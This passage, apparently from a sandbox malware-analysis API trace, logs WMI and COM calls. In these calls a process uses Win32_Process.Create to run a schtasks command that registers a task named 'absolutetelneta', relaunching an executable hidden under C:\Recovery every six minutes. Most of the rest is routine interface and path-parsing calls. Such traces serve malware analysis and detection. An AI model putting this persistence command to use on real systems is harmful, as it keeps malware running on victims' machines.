wReserved3=0x0, varVal1="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0143.839] IWbemClassObject:Get (in: This=0x1aa19aa0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798b28*=0, plFlavor=0x2798b2c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798b28*=13, plFlavor=0x2798b2c*=32) returned 0x0 [0143.839] IWbemClassObject:Get (in: This=0x1aa19aa0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798b28*=13, plFlavor=0x2798b2c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798b28*=13, plFlavor=0x2798b2c*=32) returned 0x0 [0143.840] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1aa28520) returned 0x0 [0143.842] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0143.842] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0143.842] IUnknown:AddRef (This=0x1aa28520) returned 0x3 [0143.842] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0143.842] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0143.842] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1aa28528) returned 0x0 [0143.842] IMarshal:GetUnmarshalClass (in: This=0x1aa28528, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0143.842] IUnknown:Release (This=0x1aa28528) returned 0x3 [0143.842] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0143.842] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0143.842] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0143.842] IUnknown:Release (This=0x1aa28520) returned 0x2 [0143.843] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0143.843] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0143.843] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0143.843] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0143.843] IUnknown:QueryInterface (in: This=0x1aa28520, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0143.843] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0143.843] IUnknown:AddRef (This=0x1aa28520) returned 0x3 [0143.843] IWbemClassObject:Put (This=0x1aa19aa0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1aa28520, varVal2=0x0), Type=0) returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980d50, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980e10, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetText (in: This=0x1a980e10, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0143.844] WbemDefPath:IWbemPath:GetText (in: This=0x1a980d50, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0143.844] IWbemServices:ExecMethod (in: This=0x1a953200, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1aa19aa0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa19d50, ppCallResult=0x0) returned 0x0 [0144.023] IWbemClassObject:Get (in: This=0x1aa19d50, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798e40*=0, plFlavor=0x2798e44*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x864, varVal2=0x0), pType=0x2798e40*=19, plFlavor=0x2798e44*=0) returned 0x0 [0144.023] IWbemClassObject:Get (in: This=0x1aa19d50, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2798e40*=19, plFlavor=0x2798e44*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x864, varVal2=0x0), pType=0x2798e40*=19, plFlavor=0x2798e44*=0) returned 0x0 [0144.024] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0144.024] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0144.024] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0144.024] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.026] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbbea40) returned 0x0 [0144.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbea40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0144.026] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbea40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a980750) returned 0x0 [0144.026] WbemDefPath:IUnknown:Release (This=0x1bbbea40) returned 0x0 [0144.026] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a980750) returned 0x0 [0144.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0144.027] WbemDefPath:IUnknown:AddRef (This=0x1a980750) returned 0x3 [0144.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0144.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0144.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbbea80) returned 0x0 [0144.027] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbea80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.027] WbemDefPath:IUnknown:Release (This=0x1bbbea80) returned 0x3 [0144.027] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0144.027] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0144.027] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0144.028] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x2 [0144.028] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x1 [0144.028] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0144.028] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0144.028] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980750, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a980750) returned 0x0 [0144.028] WbemDefPath:IUnknown:AddRef (This=0x1a980750) returned 0x3 [0144.028] WbemDefPath:IUnknown:Release (This=0x1a980750) returned 0x2 [0144.028] WbemDefPath:IWbemPath:SetText (This=0x1a980750, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0144.028] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980750, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0144.028] WbemDefPath:IWbemPath:GetText (in: This=0x1a980750, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0144.028] WbemDefPath:IWbemPath:GetText (in: This=0x1a980750, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0144.028] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980750, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0144.028] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980750, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0144.028] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980750, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0144.028] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0144.028] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0144.029] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0144.029] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.030] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbbe9c0) returned 0x0 [0144.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe9c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0144.031] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe9c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1a980690) returned 0x0 [0144.031] WbemDefPath:IUnknown:Release (This=0x1bbbe9c0) returned 0x0 [0144.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1a980690) returned 0x0 [0144.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0144.031] WbemDefPath:IUnknown:AddRef (This=0x1a980690) returned 0x3 [0144.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0144.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0144.031] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbbea00) returned 0x0 [0144.031] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbbea00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0144.032] WbemDefPath:IUnknown:Release (This=0x1bbbea00) returned 0x3 [0144.032] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0144.032] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0144.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0144.032] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x2 [0144.032] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x1 [0144.032] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0144.032] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0144.032] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a980690, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1a980690) returned 0x0 [0144.032] WbemDefPath:IUnknown:AddRef (This=0x1a980690) returned 0x3 [0144.032] WbemDefPath:IUnknown:Release (This=0x1a980690) returned 0x2 [0144.032] WbemDefPath:IWbemPath:SetText (This=0x1a980690, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0144.032] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0144.032] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0144.032] WbemDefPath:IWbemPath:GetText (in: This=0x1a980690, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0144.032] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980690, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0144.032] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0144.033] WbemDefPath:IWbemPath:GetInfo (in: This=0x1a980690, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0144.033] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a980690, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0144.033] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0144.033] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0144.033] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0144.033] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0144.033] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0144.033] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0144.033] IUnknown:Release (This=0x1a943398) returned 0x1 [0144.035] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bbbe940) returned 0x0 [0144.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbe940, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0144.035] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbbe940, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1a9805d0) returned 0x0 [0144.035] WbemDefPath:IUnknown:Release (This=0x1bbbe940) returned 0x0 [0144.035] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9805d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1a9805d0) 